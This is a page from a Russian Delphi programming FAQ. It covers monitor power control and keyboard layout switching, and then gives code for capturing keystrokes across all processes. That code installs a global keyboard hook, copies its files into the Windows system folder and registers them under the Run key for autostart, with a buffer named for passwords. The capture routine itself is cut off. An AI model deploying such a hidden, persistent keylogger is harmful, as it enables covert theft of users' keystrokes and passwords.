Читать «Виртуальная библиотека Delphi» онлайн - страница 13
Unknown
Отключить :
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
Включить :
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
Переключение языка из программы
Для переключения языка применяется вызов LoadKeyboardLayout:
var russian, latin: HKL;
russian:=LoadKeyboardLayout('00000419', 0);
latin:=LoadKeyboardLayout('00000409', 0);
-- -- -- -- -- где то в программе --- --- ---
SetActiveKeyboardLayout(russian);
Как отловить нажатия клавиш для всех процессов в системе?
Вот, может поможет:
>1. Setup.bat
=== Cut ===
@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg
=== Cut ===
>2.HookAgnt.reg
=== Cut ===
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"
=== Cut ===
>3.KbdHook.dpr
=== Cut ===
program cwbhook;
uses Windows, Dialogs;
var
hinstDLL: HINST;
hkprcKeyboard: TFNHookProc;
msg: TMsg;
begin
hinstDLL := LoadLibrary('HookAgnt.dll');
hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
repeat until not GetMessage(msg, 0, 0, 0);
end.
=== Cut ===
>4.HookAgnt.dpr
=== Cut ===
library HookAgent;
uses Windows, KeyboardHook in 'KeyboardHook.pas';
exports KeyboardProc;
var
hFileMappingObject: THandle;
fInit: Boolean;
procedure DLLMain(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then begin
UnmapViewOfFile(lpvMem);
CloseHandle(hFileMappingObject);
end;
end;
begin
DLLProc := @DLLMain;
hFileMappingObject := CreateFileMapping(THandle($FFFFFFFF), // use paging file
nil, // no security attributes
PAGE_READWRITE, // read/write access
0, // size: high 32 bits
4096, // size: low 32 bits
'HookAgentShareMem' // name of map object
);
if hFileMappingObject = INVALID_HANDLE_VALUE then begin
ExitCode := 1;
Exit;
end;
fInit := GetLastError() <> ERROR_ALREADY_EXISTS;
lpvMem := MapViewOfFile(
hFileMappingObject, // object to map view of
FILE_MAP_WRITE, // read/write access
0, // high offset: map from
0, // low offset: beginning
0); // default: map entire file
if lpvMem = nil then begin
CloseHandle(hFileMappingObject);
ExitCode := 1;
Exit;
end;
if fInit then FillChar(lpvMem, PASSWORDSIZE, #0);
end.
=== Cut ===
>5.KeyboardHook.pas
